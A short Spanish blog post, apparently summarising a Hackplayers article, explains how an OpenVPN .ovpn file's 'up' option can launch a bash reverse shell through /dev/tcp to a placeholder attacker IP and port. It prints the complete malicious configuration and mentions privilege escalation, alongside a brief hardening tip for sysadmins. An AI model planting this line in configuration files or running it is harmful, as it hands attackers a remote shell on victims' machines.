En el artículo de hoy veremos como obtener una shell reversa usando ficheros de configuración (.ovpn) de OpenVPN. Usando la opción “up” podremos ejecutar scripts despues de levantar una interfaz de red en el sistema.
En linux, podriamos usar bash para crear una conexión con otro equipo usando “/dev/tcp”. Por ejemplo, en el siguiente fichero de configuración, añadimos la ejecucion del siguiente comando al final:
remote 10.10.0.100
ifconfig 10.200.0.2 10.200.0.1
dev tunscript-security 2
up “/bin/bash -c ‘/bin/bash -i > /dev/tcp/[IP DEL ATACANTE]/[PUERTO DEL ATACANTE] 0<&1 2>&1&’”
Cuando el programa ejecute la configuración el atacante recibirá una shell. Esto se puede aprovechar en muchas configuraciones de OpenVPN, que permiten ejecutar todos los archivos de configuración de un directorio. Por eso es importante marcar concretamente el archivo de configuración concreto que ejecutará el programa. Esta puede ser una buena vía para escalar privilegios por parte de un atacante.
Bash ayuda a estos tipos de ataque en las distribuciones de linux más populares. En windows, la cosa se complica un poco más por la ausencia de un homólogo a “/dev/tcp”.
En la página de Hackplayers, podeis ver el artículo completo. ¿Sois sysadmin?¿Tenéis en algún dispositivo configurado el arranque automático de OpenVPN?. No dudeis en comentarnos vuestras impresiones.